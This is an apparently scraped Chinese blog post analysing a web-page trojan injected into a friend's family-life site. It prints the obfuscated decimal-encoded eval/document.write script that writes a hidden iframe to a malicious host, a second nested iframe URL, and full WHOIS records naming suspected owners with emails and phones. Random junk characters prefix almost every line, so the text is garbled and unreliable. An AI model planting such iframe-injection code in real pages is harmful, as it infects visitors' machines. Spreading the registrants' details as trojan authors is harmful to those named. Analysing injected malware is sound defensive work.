首发在我的博客里面，
T k=3"y+u[ B{i;+[ase http://www.areway.cn/?p=175 ^i k|l= `C UO! 'U o5A_j?t 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
G~L#v AY =Z L}Av} <script>t=’60,105,102,114,97,109,101,
vF\zZ< R/ 32,115,114,99,61,104,116,116,112,58,47,47,
QX3![;0F 102,114,101,101,46,117,45,117,117,117,46,99,
VNot4 62L 110,47,101,114,114,111,114,46,104,116,109,
Ln
-?/[E 32,119,105,100,116,104,61,49,48,48,32,104,
S; <?nz3 101,105,103,104,116,61,48,62,60,47,105,102,
r:Tb{cA 114,97,109,101,62′;
s+~Slgl t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
JF=ABJ= O
l IH0 <script>t=’60,105,102,114,97,109,101,32,115,
=_:L
wmI 114,99,61,104,116,116,112,58,47,47,102,114,
u(a&x|WY 101,101,46,117,45,117,117,117,46,99,110,47,
F}4 0 101,114,114,111,114,46,104,116,109,32,119,
lR3^&d72? 105,100,116,104,61,49,48,48,32,104,101,105,
q%&7J< 103,104,116,61,48,62,60,47,105,102,114,97,
c324@o^V 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
D6:J*F&? document.write(t);</script>
+Y[+2=lO />7/S^ <html xmlns=”
}&hgedx http://www.w3.org/1999/xhtml oh)l\ “>
ZKL%rp_ <head>
!/Ps}.)A` <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Ox'.sq4 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
AWNd(B2o <title>首页 - 爱生活家庭网
i(kK!7W35 v%Q7 \X( 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
*0zH5c 转换字符串后的大概内容是（谁点击后果自付）：
]997`,1b <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
SX,z J`" @z q{#7%z 查询玉米u-uuu.cn的详细信息：
za/#R _%p Domain Name: u-uuu.cn
&3?yg61Ag ROID: 20070901s10001s64972306-cn
PFw "ICs Domain Status: ok
B.WkHY%/ Registrant Organization: 王雷
Z9^ $jw] Registrant Name: 王雷
<}1%">RA Administrative Email:
czlovexs@126.com !AHm+C_=Lg Sponsoring Registrar: 北京万网志成科技有限公司
}d]8fHG Name Server:ns.yovole.com
C(Y6 t1 Name Server:ns1.yovole.com
[]Ea0j Yu Registration Date: 2007-09-01 17:54
FI5C&d5d Expiration Date: 2008-09-01 17:54
![tI(TPq 最后PING了一下地址 都没有什么….
O waXG/z~ _4]dPk#^ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
hj1 jY <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
0E[Se|! <script language=”javascript” src=”
I\23as0q http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ^w\uOd` >
Tq8r
SZi 这个玉米应该有可能是木马作者的：
(Mh\!rMg foafau.info的详细信息：
bm.H0rHR4 Access to INFO WHOIS information is provided to assist persons in
vsR ^aVwVZ determining the contents of a domain name registration record in the
Q[KR,k Afilias registry database. The data in this record is provided by
=SnR9In Afilias Limited for informational purposes only, and Afilias does not
dY.uOafr guarantee its accuracy. This service is intended only for query-based
.D`#a access. You agree that you will use this data only for lawful purposes
%"2B1^o> and that, under no circumstances will you use this data to: (a) allow,
[9^e
u>)A enable, or otherwise support the transmission by e-mail, telephone, or
X>>rvlD N facsimile of mass unsolicited, commercial advertising or solicitations
i6kyfOI to entities other than the data recipient’s own existing customers; or
`s $@6r$ (b) enable high volume, automated, electronic processes that send
#!Fs[A5% queries or data to the systems of Registry Operator, a Registrar, or
?J ?!%Mw Afilias except as reasonably necessary to register domain names or
Hd`RR3J modify existing registrations. All rights reserved. Afilias reserves
B)dynGF8i the right to modify these terms at any time. By submitting this query,
m`"s$\fah you agree to abide by this policy.
8msDJ {,X Domain ID:D22418703-LRMS
U?{j Domain Name:FOAFAU.INFO
9=f'sqIPV Created On:20-Nov-2007 16:05:42 UTC
w>s Last Updated On:20-Nov-2007 16:05:44 UTC
78-:hk Expiration Date:20-Nov-2008 16:05:42 UTC
tPH iz% Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
STI3|}G*P Status:CLIENT DELETE PROHIBITED
) b8*>k Status:CLIENT RENEW PROHIBITED
^B9wmxe Status:CLIENT TRANSFER PROHIBITED
3 !L)7Z/ Status:CLIENT UPDATE PROHIBITED
'c D"ZVm1 Status:TRANSFER PROHIBITED
8<xy *=% Registrant ID:GODA-040110615
9Ba<'wk/>" Registrant Name:liu hong
!%@{S8IP.v Registrant Organization:
Gov{jksr Registrant Street1:beijing
B!v1 gh Registrant Street2:
)%7A. UO) Registrant Street3:
H <yec" Registrant City:beijing
d6VKUAk'7> Registrant State/Province:
z-j \S7F Registrant Postal Code:100000
+h/$_5 Registrant Country:CN
_HQa3wj Registrant Phone:+86.860108888777
OUPpz_y Registrant Phone Ext.:
4 `F*] Ft Registrant FAX:
s>X;m.< Registrant FAX Ext.:
Yt^+31/% Registrant Email:bbbshiji@163.com
Zn/ /u<D Admin ID:GODA-240110615
f@mM&e=f Admin Name:liu hong
y=Hl ~ev`9 Admin Organization:
5 \J;EWTU Admin Street1:beijing
:xV&%Qa1 Admin Street2:
TxWj gW~ Admin Street3:
.8m)^E T Admin City:beijing
L%"Mp (gZ Admin State/Province:
"<WS Es Admin Postal Code:100000
A VjtK Admin Country:CN
ES> 3Cf Admin Phone:+86.860108888777
GZw<Y+/V"5 Admin Phone Ext.:
,3j*D+ Admin FAX:
lI 8"o>-~ Admin FAX Ext.:
4\?B ,! Admin Email:bbbshiji@163.com
:U s-^zVr Billing ID:GODA-340110615
rSk $]E ]Z Billing Name:liu hong
iR-O6*PTC Billing Organization:
V4 H+m,R Billing Street1:beijing
v\c3=DbO Billing Street2:
A @]
n" Billing Street3:
K*<n<;W Billing City:beijing
S]>_o "|HV Billing State/Province:
%WNy=V9txp Billing Postal Code:100000
vIJdl2(^E Billing Country:CN
]Vsze4>Z[ Billing Phone:+86.860108888777
d~8Q)"6 [ Billing Phone Ext.:
i@RjG Billing FAX:
P<hqr; Billing FAX Ext.:
w~9gZ&hdp Billing Email:bbbshiji@163.com
2gGJ:, RC$ Tech ID:GODA-140110615
saV ` -# Tech Name:liu hong
_W+TZa@_ Tech Organization:
jd{J3s '% Tech Street1:beijing
S XL6)pX Tech Street2:
b}
*cw2 Tech Street3:
Fi#t88+1 Tech City:beijing
=aCv
Xa&, Tech State/Province:
BSz\9 eT Tech Postal Code:100000
Km?i{TW Tech Country:CN
a
AuQw Tech Phone:+86.860108888777
y Z{YIy~ Tech Phone Ext.:
o kYsjK5 Tech FAX:
&~& i > Tech FAX Ext.:
%lPP1
R Tech Email:bbbshiji@163.com
tL~|/C)d R Name Server:NS27.DOMAINCONTROL.COM
.UcS4JU Name Server:NS28.DOMAINCONTROL.COM
`y\:3bQ4
Name Server:
{1Qwwhov Name Server:
J L3A/^ Name Server:
F
;D_zo? Name Server:
38#(ruv Name Server:
(GV6 %l#I Name Server:
qH
~usgqB7 Name Server:
=p"0G %+% Name Server:
jmIP c3O0 Name Server:
Nl+ 2m4 Name Server:
c2C8}XJ|O Name Server:
r,}Zc W+ ?tcbiXRG+ 接着下载每个文件里面的代码：
m0 P5a% D 一步一步看..
$ ` 
f6XWA_[i@ 
A1C@'9R*
=Yfs=+O 
_RmrjD k 
,wV2ZEW}e 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
